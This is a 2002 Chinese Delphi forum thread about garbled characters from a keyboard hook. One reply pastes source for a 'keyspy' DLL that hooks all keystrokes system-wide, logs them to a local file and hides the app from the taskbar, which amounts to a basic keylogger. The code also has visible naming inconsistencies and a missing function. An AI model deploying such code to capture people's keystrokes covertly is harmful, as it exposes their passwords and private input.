关于键盘hook的问题

yansea 2002-06-03 09:07:30
关于键盘hook的问题
在使用键盘hook的过程中,我有这样的问题。
已经能够拦截到按下的键,但是对于.'[=\等字符总是得到半个字符,就是乱码,并且小键盘输入数字时得到的竟然是abcd之类的字母而不是数字,这是怎么回事,怎么解决呢?另外怎么处理那些按住shift后得到的字符呢?
谢谢各位!
...全文
61 10 打赏 收藏 转发到动态 举报
写回复
用AI写文章
10 条回复
切换为时间正序
请发表友善的回复…
发表回复
yansea 2002-06-03
  • 打赏
  • 举报
回复
快来看看啊~~~~~
yansea 2002-06-03
  • 打赏
  • 举报
回复
to xmlord(护戒使者)
这个问题应该可以解决。利用hook链合作特性的机制,在输入密码时挂上你的hook(保证你的hook是最好一个挂上的),并且不调用callnexthook,这样hook链就短了,别人也就无法取得你的键盘输入了。但是在win2000下好象不行,2000下都是由系统维护的~~~~
我的问题有没有人解决啊~~~~~~~~~~~
xmlord 2002-06-03
  • 打赏
  • 举报
回复
我也有个问题
就是要在输密码的时候检查是否有人在使用hook监视我的击键动作
或者直接也用hook临时接管键盘,可否实现?
yansea 2002-06-03
  • 打赏
  • 举报
回复
怎么没有人理我~~~~~~~~帮帮忙啊
yansea 2002-06-03
  • 打赏
  • 举报
回复
我倒!这段代码看来是人人都有啊~~~~~~~不过它也有我遇到的问题!另外这段代码有非常严重的问题,它不能维持hook链的完整!!
请大家帮帮忙啊~~~~~~~~~
naughtyboy 2002-06-03
  • 打赏
  • 举报
回复
利用hook实现键盘监控
一、Hook(钩子)的实现:

---- Hook是应用程序在Microsoft Windows 消息处理过程中设置的用来监控消息流并且

处理系统中尚未到达目的窗口的某一类型消息过程的机制。如果Hook过程在应用程序中

实现,若应用程序不是当前窗口时,该Hook就不起作用;如果Hook在DLL中实现,程序在

运行中动态调用它,它能实时对系统进行监控。根据需要,我们采用的是在DLL中实现H

ook的方式。

---- 1.新建一个导出两个函数的DLL文件,在hookproc.pas中定义了钩子具体实现过程

。代码如下:

library keyspy;

uses

windows, messages, hookproc in 'hookproc.pas';

exports

setkeyhook,

endkeyhook;

begin

nexthookproc:=0;

procsaveexit:=exitproc;

exitproc:=@keyhookexit;

end.

2.在Hookproc.pas中实现了钩子具体过程:

unit hookproc;

interface

uses

Windows, Messages, SysUtils, Controls, StdCtrls;

var

nexthookproc:hhook;

procsaveexit:pointer;

function keyboardhook(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

function setkeyhook:bool;export;//加载钩子

function endkeyhook:bool;export;// 对 钩子

procedure keyhookexit;far;

const

afilename='c:\debug.txt';//将键盘输入动作写入文件中

var

debugfile:textfile;

implementation

function keyboardhookhandler(icode:integer;wparam:wparam;

lparam:lparam):lresult;stdcall;export;

begin

if icode<0 then

begin

result:=callnexthookex(hnexthookproc,icode,wparam,lparam);

exit;

end;

assignfile(debugfile,afilename);

append(debugfile);

if getkeystate(vk_return)<0 then

begin

writeln(debugfile,'');

write(debugfile,char(wparam));

end

else

write(debugfile,char(wparam));

closefile(debugfile);

result:=0;

end;

function endkeyhook:bool;export;

begin

if nexthookproc<>0 then begin

unhookwindowshookex(nexthookproc);

nexthookproc:=0;

messagebeep(0); end;

result:=hnexthookproc=0;

end;

procedure keyhookexit;far;

begin

if nexthookproc<>0 then endkeyhook;

exitproc:=procsaveexit; end;

end.

---- 二、Win95/98使用任务栏右方指示区来显示应用程序或工具图标对指示区图标的操

作涉及了一个API函数Shell_NotifyIcon,它有两个参数,一个是指向TnotifyIconData

结构的指针,另一个是要添加、删除、改动图标的标志。通过该函函数将应用程序的图

标添加到指示区中,使其作为图标运行,增加专业特色。当程序起动后,用鼠标右键点击

图标,则弹出一个菜单,可选择sethook或endhook。

unit kb;

interface

uses

Windows, Messages, SysUtils, Classes,

Graphics, Controls, Forms,

Dialogs,

StdCtrls, Menus,shellapi;

const

icon_id=1;

MI_iconevent=wm_user+1;//定义一个用户消息

type

TForm1 = class(TForm)

PopupMenu1: TPopupMenu;

sethook1: TMenuItem;

endhook1: TMenuItem;

N1: TMenuItem;

About1: TMenuItem;

Close1: TMenuItem;

Gettext1: TMenuItem;

procedure FormCreate(Sender: TObject);

procedure sethook1Click(Sender: TObject);

procedure endhook1Click(Sender: TObject);

procedure FormDestroy(Sender: TObject);

procedure Close1Click(Sender: TObject);

private

{ Private declarations }

nid:tnotifyicondata;

normalicon:ticon;

public

{ Public declarations }

procedure icontray(var msg:tmessage);

message mi_iconevent;

end;

var

Form1: TForm1;

implementation

{$R *.DFM}

function setkeyhook:bool;external 'keyspy.dll';

function endkeyhook:bool;external 'keyspy.dll';

procedure tform1.icontray(var msg:tmessage);

var

pt:tpoint;

begin

if msg.lparam=wm_lbuttondown then

sethook1click(self);

if msg.LParam=wm_rbuttondown then

begin

getcursorpos(pt);

setforegroundwindow(handle);

popupmenu1.popup(pt.x,pt.y);

end;

end;

procedure TForm1.FormCreate(Sender: TObject);

begin

normalicon:=ticon.create;

application.title:=caption;

nid.cbsize:=sizeof(nid);

nid.wnd:=handle;

nid.uid:=icon_id;

nid.uflags:=nif_icon or nif_message or nif_tip;

nid.ucallbackmessage:=mi_iconevent;

nid.hIcon :=normalicon.handle;

strcopy(nid.sztip,pchar(caption));

nid.uFlags:=nif_message or nif_icon or nif_tip;

shell_notifyicon(nim_add,@nid);

SetWindowLong(Application.Handle,

GWL_EXSTYLE,WS_EX_TOOLWINDOW);

end;

procedure TForm1.sethook1Click(Sender: TObject);

begin

setkeyhook;

end;

procedure TForm1.endhook1Click(Sender: TObject);

begin

endkeyhook;

end;

procedure TForm1.FormDestroy(Sender: TObject);

begin

nid.uFlags :=0;

shell_notifyicon(nim_delete,@nid);

end;

procedure TForm1.Close1Click(Sender: TObject);

begin

application.terminate;

end;
东方小黑 2002-06-03
  • 打赏
  • 举报
回复
好像我有过这个问题,up一下吧
linyin 2002-06-03
  • 打赏
  • 举报
回复
我也收藏!!!
dy_kiss 2002-06-03
  • 打赏
  • 举报
回复
收藏先
yansea 2002-06-03
  • 打赏
  • 举报
回复
还是我用土办法解决吧~唉,这分都不知道该怎么给了。
算了,结贴。

5,386

社区成员

发帖
与我相关
我的任务
社区描述
Delphi 开发及应用
社区管理员
  • VCL组件开发及应用社区
加入社区
  • 近7日
  • 近30日
  • 至今
社区公告
暂无公告

试试用AI创作助手写篇文章吧